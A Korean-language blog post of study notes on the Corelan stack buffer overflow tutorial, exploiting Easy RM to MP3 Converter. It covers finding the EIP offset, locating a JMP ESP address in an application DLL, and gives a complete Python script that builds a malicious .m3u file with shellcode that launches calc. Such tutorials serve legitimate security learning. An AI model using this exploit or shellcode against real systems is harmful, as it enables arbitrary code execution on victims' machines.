https://www.corelan.be/index.php/2009/07/19/exploit-writing-tutorial-part-1-stack-based-overflows/
corelan 윈도우 익스플로잇 공부 시작 ~
windbg 설치가 안돼서 이론 공부만 하겠습니다! (나중에 찾아봐야지..)
1. 익스플로잇 재현
Easy RM to MP3 Converter 프로그램을 실행 시켜보자
with open("crash.m3u", "w") as f:
junk = "\x41" * 10000
f.write(junk)
python을 통해 \x41를 1만개 가지는 파일을 만들어보자
python을 통해 만든 파일을 Easy RM to MP3 Converter 프로그램에 전달하면 위 그림 처럼 뜬다.
파일 이름을 덮어쓴걸 봐서 bof가 일어난 듯 하다.
여기서 A를 2만개를 반복하는 것 까지 위 처럼 버그가 난다고 한다. 근데 3만개가 되면 프로그램 크래시로 종료가 된다.
2. 크래시 디버깅
python을 통해 A가 3만개 들어있는 파일을 Easy RM to MP3 Converter 프로그램에 전달하면 위 처럼 뜬다.
여기서 Debug 버튼을 눌러보자.
Windbg가 나타난다. eip 값을 확인하면 0x41414141로 되어있다.
따라서, A가 1만개일 때는 크래시가 안나고 3만개일 때는 크래시가 난다는 점을 이용해서 1만개와 3만개 사이 어딘가에서 A를 쓰면 bof가 난다는 것을 알 수 있다.
이제 얼마나 A를 채워야 프로그램이 크래시 나는지 확인 해야 합니다.
binary search 마냥 A를 2만 5천개, B를 5천개 넣고 확인, 결과에 따라 값 수정 <- 이걸 반복하면 알아낼 수 있습니다.
(알고리즘을 이렇게 사용하는 군...)(나중에는 패턴 문자열을 사용한다.)
eip 값을 확인하면 0x42424242 입니다. 즉, 2500개 B의 범위(25,000 ~ 27,500)에 있다는 뜻입니다.
eip 값을 확인하면 0x42424242 입니다. 즉, 1500개 B의 범위(25,000 ~ 26,500)에 있다는 뜻입니다.
eip 값을 확인하면 0x44444444 입니다. 즉, 500개 D의 범위(26,000 ~ 26,500)에 있다는 뜻입니다.
위 방법을 쭉쭉하다 보면 위 payload에서 eip 값을 컨트롤할 수 있습니다.
즉, dummy(26067) + ret(4) 입니다.
따라서, stack 어딘가에 shellcode를 넣고 ret 값을 shellcode 주소로 바꾸면 끝입니다 ㅎㅎ
3. shellcode 자리 찾기
payload(dummy(A*26067) + ret(B*4) + dummy(C*100))를 넣은 후 스택을 확인해 봅니다.
ret 이후 dummy(C*100)가 들어가 있는걸 확인할 수 있습니다.
eip를 덮어쓰고 esp가 가리키는 곳에 shellcode를 올리도록 하겠습니다.
payload를 위 처럼 작성하고 실행하면 shellcode의 0123 값이 잘린걸 확인할 수 있습니다.
아마 잘린 4byte는 ebp(이전 스택 프레임 포인터)에 해당할 것입니다. <- 이게 무슨 소리지...?(dummy로 생각하자)
따라서 ret 다음 4byte dummy를 넣고 shellcode를 넣어야 한다.
위 그림은 ret에 esp 주소를 넣고 shellcode에 NOP와 \xCC(break point)를 넣어 실행한 모습이다.
eip는 정상적으로 뛰었지만 메모리에 shellcode 부분이 보이지 않는다.
그 이유는 eip 주소 값에 NULL 문자가 존재하기 때문이다. -> 따라서 saved_ebp 부터 입력이 안된다.
따라서, 다른 방법을 사용해야한다.
프로그램에서는 하나 이상의 dll을 로드시키기 때문에 dll에서 JMP esp 명령어 주소를 찾아 eip 값으로 이용한다면, shellcode를 실행시킬 수 있을 것이다.
일단 프로그램을 정상적으로 실행 했을 때, 어떤 dll들이 로딩되어 있는지 확인하고 그 dll들을 확인해 JMP esp 명령을 가지는 부분을 찾아야한다.
여기서 우리가 확인해야 할 dll은 Easy RM to MP3 Converter에서 로딩되는 dll들을 확인하는 것이다. 왜냐하면,
system32에서 로딩되는 dll들은 OS마다 로딩되는 주소가 각각 달라져 운영체제에 종속적인 exploit 코드가 되기 때문이다.
여기서 MSRMCcodec02.dll을 확인해 보자.
JMP esp의 opcode는 ff e4이다.
위 그림에서 NULL 문자가 없는 주소를 사용하자 0x1df023f 부분을 확인해보자
Jmp esp가 되어있는 것을 확인할 수 있다. 그렇다면 ret에 0x1df023f와 shellcode를 넣으면 공격 성공이다.
import struct
f = open("crash.m3u","w");
junk = "A"*26069;
eip=struct.pack('<I',0x01df023f);
shellcode = "\x90"*25 + "\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1" + "\x1e\x58\x31\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30" + "\x78\xbc\x65\xc9\x78\xb6\x23\xf5\xf3\xb4\xae\x7d\x02\xaa" + "\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21\xe7\x96" + "\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05\x6b" + "\xf0\x27\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a" + "\xcf\x4c\x4f\x23\xd3\x53\xa4\x57\xf7\xd8\x3b\x83\x8e\x83" + "\x1f\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98" + "\xf5\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61" + "\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f\x59\x90\x7b\xd7\x05" + "\x7f\xe8\x7b\xca";
f.write(junk+eip+shellcode);
print("write sucess!! ");
f.close();
성공적으로 계산기가 실행된다!
4. 정보정보
1) 윈도우 어플리케이션은 자체적으로 명령어 코드를 가지는 하나 이상의 dll을 가져와 사용한다.
그리고 이 dll에 의해 사용되는 주소들은 정적이다. 만약 우리가 esp로 jmp하는 명령어를 가진 dll을 발견할 수 있고, eip 값으로 jmp esp 주소를 덮을 수 있으면 shellcode를 실행시킬 수 있다.
2) OS에서 제공하는 dll(system32 등)의 경우 OS에 따라 작동하지 않을 수 있으므로 어플리케이션의 dll에서 찾는 것이 이상적이다.
3) 크래시란, 프로그램이 비정상적으로 종료되는 현상이다.
4) \xCC <- windbg break point이다. eip가 만나면 멈추게 된다.
nop + \xCC <- 이렇게 주로 사용한다.
5) shellcode부분에서 NOP를 넣는 이유 shellcode안에서 스택과 관련된 명령어를 사용할 수 있기 때문이다.(push pop)
따라서, shellcode를 가져다 쓸 경우는 넣자. 사실 shellcode를 직접 제작하는 것이 좋다고 한다.
'윈도우 버그 헌팅' 카테고리의 다른 글
Exploit writing tutorial part 8 (0) | 2024.03.06 |
---|---|
Exploit writing tutorial part 7 (0) | 2024.03.05 |
Exploit writing tutorial part 6 (0) | 2024.03.01 |
Exploit writing tutorial part 3 (0) | 2024.02.21 |
Exploit writing tutorial part 2 (0) | 2024.02.20 |